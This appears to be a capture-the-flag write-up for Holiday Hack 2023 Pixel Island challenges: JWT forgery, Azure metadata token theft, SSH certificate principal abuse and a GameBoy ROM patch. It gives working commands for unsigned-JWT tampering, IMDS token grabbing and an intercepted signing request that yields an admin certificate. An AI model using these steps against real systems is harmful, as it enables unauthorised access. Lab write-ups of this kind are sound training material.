Pixel Island⚓︎
Embark on your journey to Pixel Island by steering our ship using the arrow keys on the keyboard or the WASD keys. The island awaits in the top-right corner of the map. Safe travels and enjoy the exploration!
There are two different ports available:
Port of Rainmaster Cliffs⚓︎
While exploring the Pixel Island, we discover the Port of Rainmaster Cliffs. Upon reaching it, a "Dock Now" option is presented to us.
When we make land, we obtain a new objective on arrival.
Elf Hunt (Pixel Island)
Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.
The dock featured the Goose of Pixel Island to greet us!
Full Island (Zoomed Out)
Elf Hunt⚓︎
Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.
If we proceed to the right of the dock, and up a ladder. We find Piney Sappington close to a challenge and started it up!
When speaking with Piney Sappington, we obtain the following hint:
JWT Secrets Revealed
Unlock the mysteries of JWTs with insights from PortSwigger's JWT Guide.
When we startup the challenge, it spins up a elf-shooting game:
Clicking on the Hint button (lower-left corner), we can get a hint on how to complete the challenge.
We can find JWT parsing utilities when analyzing the main JavaScript code at https://elfhunt.org/static//js/main.js:
function parseJwtPayload(token) {
// Split the JWT into its three parts
const parts = token.split(".");
// The payload is the second part. We decode it from base64 and parse the JSON
try {
const decodedPayload = atob(parts[1]);
const jsonObj = JSON.parse(decodedPayload);
return jsonObj;
} catch (e) {
console.error("Failed to parse JWT payload", e);
return null;
}
}
function getCookie(name) {
// This function will read the cookie by name
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(";").shift();
return null;
}
function getDecodedJwtPayload(cookiename) {
// This function retrieves the JWT from the cookie and decodes it
const jwt = getCookie(cookiename);
if (jwt) {
return parseJwtPayload(jwt);
} else {
console.log("JWT not found");
return null;
}
}
We can also see references on to a JWT in the browser cookies. Inspecting the browser cookies, we see an ElfHunt_JWT
.
Using an JWT inspection utility (https://jwt.io/), we can see the payload contains the speed
variable. We can attempt to manipulate this and reload the application.
We can also use Python to generate our new JWT easier.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to manipulate a JWT.
Holiday Hack 2023
Terminal: ElfHunt
"""
# Imports
import json
import jwt
# Original ElfHunt_JWT Cookie
token_orig = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0."
json_orig = jwt.decode(token_orig, algorithms=["none"], options={"verify_signature": False})
print(f"Original ElfHunt_JWT - Encoded JWT: {token_orig} Decoded Payload: {json.dumps(json_orig)}")
# Modified ElfHunt_JWT Cookie
json_modified = json_orig
json_modified["speed"] = -100
token_mainipulated = jwt.encode(json_modified, algorithm=None, key=None)
print(f"Modified ElfHunt_JWT - Encoded JWT: {token_mainipulated} Decoded Payload: {json.dumps(json_modified)}")
$ python3 elfhunt.py
Original ElfHunt_JWT - Encoded JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0. Decoded Payload: {"speed": -500}
Modified ElfHunt_JWT - Encoded JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTEwMH0. Decoded Payload: {"speed": -100}
We manually go to Developer Tools (F12), Storage, and Cookies on the Left. Go to https://elfhunt.org
cookies. Clear all the cookies and then readd a ElfHunt_JWT
with the new JWT that was generated above that lowers the speed of the elves! Note, the speed value is, so lower speeds (more negative) are faster and higher speeds (more positive) are slower.
Going from -500
to -100
in speed, the elves are drastically reduced in speed and the game in completeable! After manually shooting 75 elves, we get a Game Token and successfully complete the challenge.
Achievement
Congratulations! You have completed the Elf Hunt challenge!
Clicking the Game Token, a Captains Journal pops up:
We unlocked a new objective:
Certificate SSHenanigans (Pixel Island)
Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
Certificate SSHenanigans⚓︎
Certificate SSHenanigans (Pixel Island)
Go to Pixel Island and review Alabaster Snowball's new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
If we keep proceeding to the right of Piney Sappington, there are about 3 ladders to climb up to the top of the tree. We find Alabaster Snowball on the very top of the tree!
When speaking with Alabaster Snowball, we obtain the following two hints on the next objective:
Azure Function App Source Code
The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from.
SSH Certificates Talk
Check out Thomas Bouve's talk and demo to learn all about how you can upgrade your SSH server configuration to leverage SSH certificates.
We also obtained a hint previously from Sparkle Redberry:
Azure VM Access Token
Azure CLI tools aren't always available, but if you're on an Azure VM you can always use the Azure REST API instead.
SSH Server⚓︎
Alabaster Snowball
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
Verifying the SSH server exists at ssh-server-vm.santaworkshopgeeseislands.org
:
nc -zv ssh-server-vm.santaworkshopgeeseislands.org 22
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Connected to 20.253.83.128:22.
Ncat: 0 bytes sent, 0 bytes received in 0.08 seconds.
Generate SSH key for the monitor
user, per Alabaster Snowball "Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list."
Using the Azure Function App, we can obtain our SSH certificate public key:
Pasting in our monitor_key.pub
contents, we can obtain the certificate signed key!
$ cat monitor_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDC0B3vLBqyEzwQwNS+JWVQqscbyHxsCH1u2i1Z0yGwu+RAw0u577RHKwM+njMZKLhqqhfJ94UffIClEZUvEFFIoigvij/cWQEKg6lRylCe2kmQOgv0qDr0kprm4J1kRTdvbsj7OIyYqeoHZRK0RNWTHqg1tBc2zVQr9SYw9x/NlJiLf5ZgZ25K9DMdS/lEB6Ugxw4GR/dOdf7EkVY3RI+IPo+pKKO6TClb294eKacJPAcePavEqjIyrAT71fWnrdmmSKLebxj6O8mg4lWAvdSOgbECubna9v7tyqX71JrBXQ/Pz91DPR9V6Owwv7jIiWas3Pq2TpqpA7xhVesfudD5t0pwUrjT58xkxK3FT4DFui+gI2pHFgxd+4kpqlx2JDGFeI/t4ft5uUmv+j++1s+suknk5VLvTn28HO8e2lEiUIXw2GrtH8s8QaWA4bm8BBzRL+ITSrI0AGGnJPpdexpgFz7wo95uXaQHOEmTV3HlwJ7jrJfT7CtMJ4U6AkmjcD8= monitor@ssh-server-vm.santaworkshopgeeseislands.org
{
"ssh_cert": "rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACY3NTIzODI0MTMxMzU5Njc5MzgyMzIxMjA5ODE4NTA1NzIzOTgzMAAAAAMBAAEAAAGBAMLQHe8sGrITPBDA1L4lZVCqxxvIfGwIfW7aLVnTIbC75EDDS7nvtEcrAz6eMxkouGqqF8n3hR98gKURlS8QUUiiKC+KP9xZAQqDqVHKUJ7aSZA6C/SoOvSSmubgnWRFN29uyPs4jJip6gdlErRE1ZMeqDW0FzbNVCv1JjD3H82UmIt/lmBnbkr0Mx1L+UQHpSDHDgZH9051/sSRVjdEj4g+j6koo7pMKVvb3h4ppwk8Bx49q8SqMjKsBPvV9aet2aZIot5vGPo7yaDiVYC91I6BsQK5udr2/u3KpfvUmsFdD8/P3UM9H1Xo7DC/uMiJZqzc+rZOmqkDvGFV6x+50Pm3SnBSuNPnzGTErcVPgMW6L6AjakcWDF37iSmqXHYkMYV4j+3h+3m5Sa/6P77Wz6y6SeTlUu9Ofbwc7x7aUSJQhfDYau0fyzxBpYDhubwEHNEv4hNKsjQAYack+l17GmAXPvCj3m5dpAc4SZNXceXAnuOsl9PsK0wnhToCSaNwPwAAAAAAAAABAAAAAQAAACQ3MjIzN2QxMi1lMDg0LTRjZjktODIwNi1kODkwY2U5N2IzZGEAAAAHAAAAA2VsZgAAAABlklPUAAAAAGW3PwAAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAk8QbYMZQR3/qvp4fctazkOO7wSCUZvMpV7/2j+Co210tUEX8HrA5iO2u7VqtxLDZjxf1MRd9u11iA8KomuvAL ",
"principal": "elf"
}
echo -n 'rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACY3NTIzODI0MTMxMzU5Njc5MzgyMzIxMjA5ODE4NTA1NzIzOTgzMAAAAAMBAAEAAAGBAMLQHe8sGrITPBDA1L4lZVCqxxvIfGwIfW7aLVnTIbC75EDDS7nvtEcrAz6eMxkouGqqF8n3hR98gKURlS8QUUiiKC+KP9xZAQqDqVHKUJ7aSZA6C/SoOvSSmubgnWRFN29uyPs4jJip6gdlErRE1ZMeqDW0FzbNVCv1JjD3H82UmIt/lmBnbkr0Mx1L+UQHpSDHDgZH9051/sSRVjdEj4g+j6koo7pMKVvb3h4ppwk8Bx49q8SqMjKsBPvV9aet2aZIot5vGPo7yaDiVYC91I6BsQK5udr2/u3KpfvUmsFdD8/P3UM9H1Xo7DC/uMiJZqzc+rZOmqkDvGFV6x+50Pm3SnBSuNPnzGTErcVPgMW6L6AjakcWDF37iSmqXHYkMYV4j+3h+3m5Sa/6P77Wz6y6SeTlUu9Ofbwc7x7aUSJQhfDYau0fyzxBpYDhubwEHNEv4hNKsjQAYack+l17GmAXPvCj3m5dpAc4SZNXceXAnuOsl9PsK0wnhToCSaNwPwAAAAAAAAABAAAAAQAAACQ3MjIzN2QxMi1lMDg0LTRjZjktODIwNi1kODkwY2U5N2IzZGEAAAAHAAAAA2VsZgAAAABlklPUAAAAAGW3PwAAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEAk8QbYMZQR3/qvp4fctazkOO7wSCUZvMpV7/2j+Co210tUEX8HrA5iO2u7VqtxLDZjxf1MRd9u11iA8KomuvAL' > monitor_key-cert.pub
Now we can use our private key and signed certificate public key to SSH into the server:
When we initially login, we get a Satellite Tracking Interface GUI. However, we can CTRL+C out of it.
The SatTrackr application that starts up is located /usr/local/bin/sattrackr
that can be found in our ~/.bashrc
file.
Azure Enumeration⚓︎
We can now enumerate our Azure environment by using curl
and jq
to acquire an access token:
accessToken=$(curl -s 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -H 'Metadata: true' | jq -r '.access_token')
Back on Christmas Island, we completed Azure101 and obtained information on the resource-group already that is relevant to the challenge:
[
{
"appServicePlanId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/serverfarms/EastUSLinuxDynamicPlan",
"availabilityState": "Normal",
"clientAffinityEnabled": false,
"clientCertEnabled": false,
"clientCertExclusionPaths": null,
"clientCertMode": "Required",
"cloningInfo": null,
"containerSize": 0,
"customDomainVerificationId": "201F74B099FA881DB9368A26C8E8B8BB8B9AF75BF450AF717502AC151F59DBEA",
"dailyMemoryTimeQuota": 0,
"defaultHostName": "northpole-ssh-certs-fa.azurewebsites.net",
"enabled": true,
"enabledHostNames": [
"northpole-ssh-certs-fa.azurewebsites.net"
],
"extendedLocation": null,
"hostNameSslStates": [
{
"certificateResourceId": null,
"hostType": "Standard",
"ipBasedSslResult": null,
"ipBasedSslState": "NotConfigured",
"name": "northpole-ssh-certs-fa.azurewebsites.net",
"sslState": "Disabled",
"thumbprint": null,
"toUpdate": null,
"toUpdateIpBasedSsl": null,
"virtualIPv6": null,
"virtualIp": null
},
{
"certificateResourceId": null,
"hostType": "Repository",
"ipBasedSslResult": null,
"ipBasedSslState": "NotConfigured",
"name": "northpole-ssh-certs-fa.scm.azurewebsites.net",
"sslState": "Disabled",
"thumbprint": null,
"toUpdate": null,
"toUpdateIpBasedSsl": null,
"virtualIPv6": null,
"virtualIp": null
}
],
"hostNames": [
"northpole-ssh-certs-fa.azurewebsites.net"
],
..[snip]..
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/pro
viders/Microsoft.Web/sites/northpole-ssh-certs-fa",
"identity": {
"principalId": "d3be48a8-0702-407c-89af-0319780a2aea",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"type": "SystemAssigned",
"userAssignedIdentities": null
},
"inProgressOperationId": null,
"isDefaultContainer": null,
"isXenon": false,
"keyVaultReferenceIdentity": "SystemAssigned",
"kind": "functionapp,linux",
"lastModifiedTimeUtc": "2023-11-09T14:43:01.183333",
"location": "East US",
"maxNumberOfWorkers": null,
"name": "northpole-ssh-certs-fa",
"outboundIpAddresses": "",
"possibleOutboundIpAddresses": "",
"publicNetworkAccess": null,
"redundancyMode": "None",
"repositorySiteName": "northpole-ssh-certs-fa",
"reserved": true,
"resourceGroup": "northpole-rg1",
..[snip]..
"tags": {
"create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
"project": "northpole-ssh-certs"
},
..[snip]..
Looking into the hint "The get-source-control Azure REST API endpoint provides details about where an Azure Web App or Function App is deployed from" we can get details on this application:
curl -s -H "Authorization: Bearer $accessToken" 'https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01' | jq .
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
"name": "northpole-ssh-certs-fa",
"type": "Microsoft.Web/sites/sourcecontrols",
"location": "East US",
"tags": {
"project": "northpole-ssh-certs",
"create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
},
"properties": {
"repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
"branch": "main",
"isManualIntegration": false,
"isGitHubAction": true,
"deploymentRollbackEnabled": false,
"isMercurial": false,
"provisioningState": "Succeeded",
"gitHubActionConfiguration": {
"codeConfiguration": null,
"containerConfiguration": null,
"isLinux": true,
"generateWorkflowFile": true,
"workflowSettings": {
"appType": "functionapp",
"publishType": "code",
"os": "linux",
"variables": {
"runtimeVersion": "3.11"
},
"runtimeStack": "python",
"workflowApiVersion": "2020-12-01",
"useCanaryFusionServer": false,
"authType": "publishprofile"
}
}
}
}
Inspect Github Repository⚓︎
We can clone it and analyze the source-code:
git clone https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa
Cloning into 'northpole-ssh-certs-fa'...
code northpole-ssh-certs-fa
Inspecting the parse_input
function, we can see there is hidden a principle
field that can be used during the signing process:
We can enumerate the principle <-> Linux username mapping as follows:
monitor@ssh-server-vm:~$ find /etc/ssh/auth_principals/ -type f -print -exec cat {} \;
/etc/ssh/auth_principals/monitor
elf
/etc/ssh/auth_principals/alabaster
admin
Thus, we can create a new private key for alabaster
, with the principle name of admin
, we will be able to login!
ssh-keygen -C 'alabaster@ssh-server-vm.santaworkshopgeeseislands.org' -f alabaster_key
cat alabaster_key.pub
Intercept and add principle to request:
POST /api/create-cert?code=candy-cane-twirl HTTP/2
Host: northpole-ssh-certs-fa.azurewebsites.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 626
{"ssh_pub_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1s= alabaster@ssh-server-vm.santaworkshopgeeseislands.org","principal":"admin"}
Response:
{
"ssh_cert": "rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACcyNDc1NjkyMzA0MTI0NjkwNDM2Mzk3MTExNzE3MTU5Mjc3NzUyMjIAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1sAAAAAAAAAAQAAAAEAAAAkNGE1MmE5M2ItMTQ0Zi00NTlmLWIwNmMtYWJiNzZhOWVkZDZiAAAACQAAAAVhZG1pbgAAAABlkmx6AAAAAGW3V6YAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBd6C8kibu7YgCGShIAM7tTVaU5jZBNbRVO053H72pK22rA6WCDKggnWMciPBWiZt9af2afDLOcNrNCC7Xug08D",
"principal": "admin"
}
SSH as Alabaster⚓︎
$ echo -n 'rsa-sha2-512-cert-v01@openssh.com AAAAIXJzYS1zaGEyLTUxMi1jZXJ0LXYwMUBvcGVuc3NoLmNvbQAAACcyNDc1NjkyMzA0MTI0NjkwNDM2Mzk3MTExNzE3MTU5Mjc3NzUyMjIAAAADAQABAAABgQDbkxc5uZcmhZ/stqbt6xuw3U0JrUDcoyYoO0jW9ZVfr461d3jzuClaozhddNn7CMoSxZws9pewBBfIRJbMWDhy+6qLq7c+emlAXoC7VFW0RsTNSiyfR0N0EXIRDN+Hwm7wJAa2ZYC3KW397eEkeiR4XpZe27za0UQeQuE0Yo6/4jquxJ56Ucy/4xQ50TWHqWZm5ytHGTgnoGUHVxmeaaGZ72d1uy6E5G+tnNeZm2m0Gf/Cqryrn1Zn4h8KpMoLDqVbLldS3ixx/1ftbpBEObh1j2Cw+psD82ECrQeQA8iXoEBuR27avmH6Nv1Bwn/ISMplMU4QUWKIEsWE+WPOyAcYb0LwYLYaHxcH/mLIb0cI8ojeAKKqHdbeIHc5WKkakw9pabcdmDQa7Z9k6yA/XmtniSDg6neyg8IMv1ThjN/f2Hu+68bakixTKl6tUxrtXWPQTwsU+wtOfEl+a5VEiy/kJl0pqBhrfcHzfggMrtifIR+VUNv6Zq5yGgeQG9dFQ1sAAAAAAAAAAQAAAAEAAAAkNGE1MmE5M2ItMTQ0Zi00NTlmLWIwNmMtYWJiNzZhOWVkZDZiAAAACQAAAAVhZG1pbgAAAABlkmx6AAAAAGW3V6YAAAAAAAAAEgAAAApwZXJtaXQtcHR5AAAAAAAAAAAAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGk2GNMCmJkXPJHHRQH9+TM4CRrsq/7BL0wp+P6rCIWHAAAAUwAAAAtzc2gtZWQyNTUxOQAAAEBd6C8kibu7YgCGShIAM7tTVaU5jZBNbRVO053H72pK22rA6WCDKggnWMciPBWiZt9af2afDLOcNrNCC7Xug08D' > alabaster_key-cert.pub
$ ssh -i alabaster_key -i alabaster_key-cert.pub alabaster@ssh-server-vm.santaworkshopgeeseislands.org
alabaster@ssh-server-vm:~$ id
uid=1000(alabaster) gid=1000(alabaster) groups=1000(alabaster),1002(sshallow)
alabaster@ssh-server-vm:~$ ls -la
total 36
drwx------ 1 alabaster alabaster 4096 Nov 9 14:07 .
drwxr-xr-x 1 root root 4096 Nov 3 16:50 ..
-rw-r--r-- 1 alabaster alabaster 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 alabaster alabaster 3665 Nov 9 17:03 .bashrc
drwxr-xr-x 3 alabaster alabaster 4096 Nov 9 14:07 .cache
-rw-r--r-- 1 alabaster alabaster 807 Apr 23 2023 .profile
drwxr-xr-x 6 alabaster alabaster 4096 Nov 9 14:07 .venv
-rw------- 1 alabaster alabaster 1126 Nov 9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov 9 14:07 impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md
# Geese Islands IT & Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
We enter in the answer into our badge for the objective:
Answer: gingerbread
Achievement
Congratulations! You have completed the SSH/API challenge!
After speaking with Alabaster Snowball again, we obtained the following hint:
Misconfiguration ADventures
Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.
Port of Driftbit Grotto⚓︎
While exploring the Pixel Island, we discover the Port of Driftbit Grotto. Upon reaching it, a "Dock Now" option is presented to us.
The dock featured Tinsel Upatree to greet us!
When we make land, we obtain new objectives on arrival.
Game Cartridges: Vol 1 (Island of Misfit Toys)
Find the first Gamegosling cartridge and beat the game
Game Cartridges: Vol 2 (Pixel Island)
Find the second Gamegosling cartridge and beat the game
Game Cartridges: Vol 3 (Steampunk Island)
Find the third Gamegosling cartridge and beat the game
Full Island (Zoomed Out)
Game Cartridges: Vol 2⚓︎
Game Cartridges: Vol 2 (Pixel Island)
Find the second Gamegosling cartridge and beat the game
When speaking with Tinsel Upatree, we obtain the following hint:
Gameboy 2
Try poking around Pixel Island. There really aren't many places you can go here, so try stepping everywhere and see what you get!
Finding the Game Cartridge⚓︎
The game cartridge was found just to the left of Tinsel Upatree!
We can now find the "Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol2" in our Items:
When we click on the game in our inventory, it launches from https://gamegosling.com/vol2-akHB27gg6pN0/ with two different Gameboy ROMs to choose from: game0.gb and game1.gb.
wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb -O game0-vol2.gb
wget https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb -O game1-vol2.gb
Speaking with TInsel Upatree after we obtained the game cartridge, we obtain the following hint:
Gameboy 2
This feels the same, but different! 2) If it feels like you are going crazy, you probably are! Or maybe, just maybe, you've not yet figured out where the hidden ROM is hiding. 3) I think I may need to get a DIFFerent perspective. 4) I wonder if someone can give me a few pointers to swap.
Vol 2 Initial Gameplay⚓︎
Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.
In visualboyadvance-m
emulator, the K key is mapped to B, and L key is mapped to A. The WASD keys are to move.
Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 2
:
*PREVIOUSLY ON HOLIDAY HACK*
Jared: Elf, have you ever heard of a miner named Tom Liston?
Elf: Blah blah blah...
I'm not listening to this again!
Glooooooory!
After the speech, we exit the cave:
Exiting the cave:
Trying to move our way past T-Wiz we are turned around ...
Now lets try with game1-vol2.gb
:
Trying to move our way past T-Wiz we are turned around ...
Bypassing T-Wiz⚓︎
Comparing ROMs⚓︎
Comparing the two different Gameboy ROMs of game0.gb and game1.gb:
$ sdiff <(xxd game0-vol2.gb) <(xxd game1-vol2.gb) | fgrep ' | '
00000140: 0000 0000 3030 001b 0203 0033 0142 71b3 ....00.... | 00000140: 0000 0000 3030 001b 0203 0033 0142 7186 ....00....
00000590: 5405 050b 4b9a 2300 0000 0000 06ad 4210 T...K.#... | 00000590: 5405 05d2 ac3d 2d00 0000 0000 06ad 4210 T....=-...
00016a80: 2080 0c80 0300 000f f807 0000 0000 0f10 ......... | 00016a80: 2080 0c80 0b00 000f f807 0000 0000 0f10 .........
00016ab0: 0000 0000 2000 0600 0900 000f f807 0000 .... ..... | 00016ab0: 0000 0000 2000 0600 0600 000f f807 0000 .... .....
00017c80: 0200 fe80 002a 0013 fffe fffb 13ff ffff .....*.... | 00017c80: 0100 fe80 002a 0013 fffe fffb 13ff ffff .....*....
00018500: 1204 2103 c60d 5701 1400 00ff fc14 0280 ..!...W... | 00018500: 1204 2103 c60d 5701 1400 00ff fc14 0300 ..!...W...
00018510: fffd 140b 80ff fe35 fffc 3200 fffc 2703 .......5.. | 00018510: fffd 1404 00ff fe35 fffc 3200 fffc 2703 .......5..
$ cmp -l game0-vol2.gb game1-vol2.gb | gawk '{printf "%08X %02X %02X\n", $1, strtonum(0$2), strtonum(0$3)}'
00000150 B3 86 # Header
00000594 0B D2
00000595 4B AC
00000596 9A 3D
00000597 23 2D
00016A85 03 0B
00016AB9 09 06
00017C81 02 01 # Decreased
0001850F 02 03
00018510 80 00
00018514 0B 04
00018515 80 00
Ghidra Analysis⚓︎
Using the GhidraBoy extension, we are able to load the GameBoy ROM within ghidra and reverse the program!
Radare Analysis⚓︎
Using radare2, we were able to find a cross-reference to "You shall not pass" at the address 0x00017bf0
.
$ xxd game0-vol2.gb | grep -B2 pass
00017bf0: 2512 0440 0054 2d77 697a 3a20 596f 7520 %..@.T-wiz: You
00017c00: 7368 616c 6c0a 6e6f 7420 7061 7373 2121 shall.not pass!!
[0x00000100]> izzq~pass
0x47bf5 29 28 T-wiz: You shall\nnot pass!!!
This is helpful as looking at the comparisons of ROMs, 0x00017bf0
is close to 0x00017C81
.
Hex Edit⚓︎
Looking back at the hex-comparison of game versions, the data at 0x00017C81
decreased and is close to where the "You shall not pass" is referenced.
So we change 02
to 01
in game0-vol2.gb
to match the same value in game0-vol1.gb
using Curses Hexeditor v0.9.7:
Use CTRL+T to 00017C81
In game0 - using radare2 to inspect before and after our change in game0-vol2.gb
, s
is used to seek to the address and pd
is used to print disassembly. Note: we seek to 0x47C80
as the 4 denotes ROM4.
In game1 - we can use radare2 to inspect before and after our change in game1-vol2.gb
, s
is used to seek to the address and pd
is used to print disassembly. Note: we seek to 0x47C80
as the 4 denotes ROM4.
Booting up the patched version of game-vol2-patched
, T-wiz still says "You shall not pass" but he does not kick us back! Past him, there is a portal for us to go through.
Morse-Code Decoder⚓︎
When interacting with the portal, we end up in a room with ChatNPT on the left and a radio on the right.
When selecting ChatNPT it says "I love old-timey radio." When selecting the radio it starts playing beeps that are similar to morse-code.
We can record the audio using VisualBoyAdvance:
From there, I used an online morse decoder tool and it decoded the sound to GL0RY
. Note, the 0
is a number.
We enter in the answer into our badge for the objective:
Answer: gl0ry
Achievement
Congratulations! You have completed the Game Cartridges: Vol 2 challenge!